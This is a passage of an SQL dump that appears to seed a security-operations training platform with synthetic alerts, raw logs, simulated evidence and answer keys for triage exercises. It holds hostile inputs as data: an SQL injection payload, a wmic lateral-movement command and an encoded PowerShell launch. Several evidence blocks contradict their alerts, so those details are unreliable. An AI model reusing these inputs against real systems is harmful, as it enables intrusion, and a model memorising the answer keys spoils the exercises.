line execution.\"}', 'Beginner', 'EDR', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(842, 'Cobalt Strike Beacon Detected from External IP', 'high', 'Splunk', 'A Cobalt Strike beacon was detected connecting to an external IP, indicating potential command and control activity.', 'Malware', 'T1105', 1, 'investigating', 174, '{\"timestamp\":\"2026-01-14T10:20:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.5\",\"username\":\"svc_account\",\"hostname\":\"GOV-SERVER01\",\"command_line\":\"c:\\\\windows\\\\system32\\\\net.exe use\"}', '2026-01-14 15:21:38', '2026-02-26 04:49:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks and C2 activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server IP associated with the suspicious network activity.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"External IP associated with known C2 activity confirmed as malicious, indicating a potential breach.\"}', 'Beginner', 'NDR', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.503Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T10:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_account\\\",\\\"hostname\\\":\\\"GOV-SERVER01\\\",\\\"command_line\\\":\\\"c:\\\\\\\\windows\\\\\\\\system32\\\\\\\\net.exe use\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.503Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T10:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_account\\\",\\\"hostname\\\":\\\"GOV-SERVER01\\\",\\\"command_line\\\":\\\"c:\\\\\\\\windows\\\\\\\\system32\\\\\\\\net.exe use\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.503Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T10:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_account\\\",\\\"hostname\\\":\\\"GOV-SERVER01\\\",\\\"command_line\\\":\\\"c:\\\\\\\\windows\\\\\\\\system32\\\\\\\\net.exe use\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.503Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T10:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_account\\\",\\\"hostname\\\":\\\"GOV-SERVER01\\\",\\\"command_line\\\":\\\"c:\\\\\\\\windows\\\\\\\\system32\\\\\\\\net.exe use\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.503Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T10:20:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"svc_account\\\",\\\"hostname\\\":\\\"GOV-SERVER01\\\",\\\"command_line\\\":\\\"c:\\\\\\\\windows\\\\\\\\system32\\\\\\\\net.exe use\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(843, 'Phishing Email with Malicious URL', 'medium', 'Proofpoint', 'A phishing email impersonating a government official was detected, containing a malicious URL leading to credential harvesting site.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T08:15:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.22\",\"dst_ip\":\"192.168.1.101\",\"email_sender\":\"gov-official@phishingsite.com\",\"hostname\":\"GOV-MAIL01\",\"url\":\"http://malicious-site.com/login\"}', '2026-01-14 15:21:38', '2026-02-16 16:56:03', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP associated with multiple phishing attempts.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL leads to a credential harvesting site.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"gov-official@phishingsite.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain known for phishing activities.\"}}],\"expected_actions\":[\"block_url\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contained a malicious URL linked to a phishing site, confirmed by external OSINT.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious URL\",\"date\":\"2026-02-01T20:32:22.504Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(844, 'Failed Brute Force Login Attempts', 'medium', 'Wazuh', 'Multiple failed login attempts detected on an internal server, originating from a foreign IP address.', 'Brute Force', 'T1110', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-14T06:50:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"192.168.1.200\",\"username\":\"admin\",\"hostname\":\"GOV-APP01\",\"failed_attempts\":30}', '2026-01-14 15:21:38', '2026-03-03 12:16:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for multiple brute force attempts globally.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Common username targeted in brute force attacks.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP address is associated with malicious activities, as confirmed by OSINT.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.505Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T06:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GOV-APP01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-02-01T20:31:22.505Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T06:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GOV-APP01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-02-01T20:30:22.505Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T06:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GOV-APP01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-02-01T20:29:22.505Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T06:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GOV-APP01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-02-01T20:28:22.505Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T06:50:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"GOV-APP01\\\",\\\"failed_attempts\\\":30}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(845, 'Suspicious WMI Activity Detected', 'high', 'Firewall', 'Suspicious WMI activity detected originating from a compromised host attempting lateral movement within the network.', 'Lateral Movement', 'T1047', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T04:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.70\",\"username\":\"malicioususer\",\"hostname\":\"GOV-SERVER02\",\"command_line\":\"wmic /node:192.168.1.70 process call create calc.exe\"}', '2026-01-14 15:21:38', '2026-02-16 05:11:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.70\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Target internal IP address for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"wmic /node:192.168.1.70 process call create calc.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI command used for lateral movement.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Suspicious WMI command execution indicates lateral movement activity.\"}', 'Beginner', 'EDR', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(846, 'False Positive - Regular User Login', 'low', 'Splunk', 'A login attempt flagged as suspicious due to multiple location changes but verified as legitimate user activity.', 'Credential Access', 'T1078', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-14T09:15:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"8.8.8.8\",\"dst_ip\":\"192.168.1.102\",\"username\":\"jane.smith\",\"hostname\":\"GOV-LAPTOP01\"}', '2026-01-14 15:21:38', '2026-02-18 09:08:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"8.8.8.8\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported for this IP.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jane.smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legitimate user account confirmed.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_access\",\"analysis_notes\":\"User login verified as legitimate after review of travel schedule and access logs.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.507Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:15:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"8.8.8.8\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"GOV-LAPTOP01\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.507Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:15:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"8.8.8.8\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"GOV-LAPTOP01\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.507Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:15:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"8.8.8.8\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"GOV-LAPTOP01\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.507Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:15:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"8.8.8.8\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"GOV-LAPTOP01\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.507Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T09:15:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"8.8.8.8\\\",\\\"dst_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"GOV-LAPTOP01\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(847, 'SQL Injection Attempt Blocked', 'high', 'Wazuh', 'A SQL injection attempt was detected and blocked by the web application firewall.', 'Web Attack', 'T1190', 0, 'Closed', 233, '{\"timestamp\":\"2026-01-14T11:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"192.168.1.150\",\"hostname\":\"GOV-WEB01\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-01-14 15:21:38', '2026-03-03 12:15:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple web-based attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected.\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"SQL injection attempt confirmed by payload and IP reputation.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.508Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"hostname\\\":\\\"GOV-WEB01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.508Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"hostname\\\":\\\"GOV-WEB01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.508Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"hostname\\\":\\\"GOV-WEB01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.508Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"hostname\\\":\\\"GOV-WEB01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.508Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-14T11:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.45\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"hostname\\\":\\\"GOV-WEB01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(848, 'False Positive - Unusual Network Activity', 'low', 'Firewall', 'Unusual network activity detected due to a legitimate software update process, initially flagged as suspicious.', 'Network Anomaly', 'T1071', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-14T12:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.120\",\"dst_ip\":\"203.0.113.88\",\"hostname\":\"GOV-UPDATE01\",\"command_line\":\"C:\\\\Program Files\\\\Updater\\\\update.exe\"}', '2026-01-14 15:21:38', '2026-03-03 12:17:09', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.120\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the update server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported for this IP.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_anomaly\",\"analysis_notes\":\"Activity confirmed as part of a legitimate software update process.\"}', 'Beginner', 'EDR', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(849, 'Credential Harvesting Attempt via Phishing Email', 'high', 'Proofpoint', 'A phishing email targeting user credentials was detected. The email contained a malicious link disguised as an Office365 login page.', 'Phishing', 'T1566', 1, 'Closed', 225, '{\"timestamp\":\"2026-01-14T09:15:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.50\",\"username\":\"jane.doe@retailcorp.com\",\"hostname\":\"mailserver.retailcorp.com\",\"email_sender\":\"no-reply@office365-login.com\",\"url\":\"http://office365-login.com/login\"}', '2026-01-14 15:31:54', '2026-03-06 10:15:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 500 times for phishing attacks\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://office365-login.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Known phishing URL targeting Office365 credentials\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"no-reply@office365-login.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Spoofed domain used for phishing campaigns\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contained a known phishing URL and originated from a malicious IP.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Credential Harvesting Attempt via Phishing Email\",\"date\":\"2026-02-01T20:32:22.511Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(850, 'SQL Injection Attempt Detected on E-commerce Platform', 'critical', 'Wazuh', 'A web request containing SQL injection payload was detected on the payment processing page of the e-commerce site.', 'Web Attack', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-14T11:30:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"45.33.32.156\",\"dst_ip\":\"192.168.1.45\",\"hostname\":\"webserver.ecommerce.com\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-01-14 15:31:54', '2026-02-16 17:57:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.33.32.156\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request body contained a clear SQL injection payload targeting the payment page.\"}', 'Beginner', 'EDR', 3, 1, 'RETAIL', NULL, NULL, 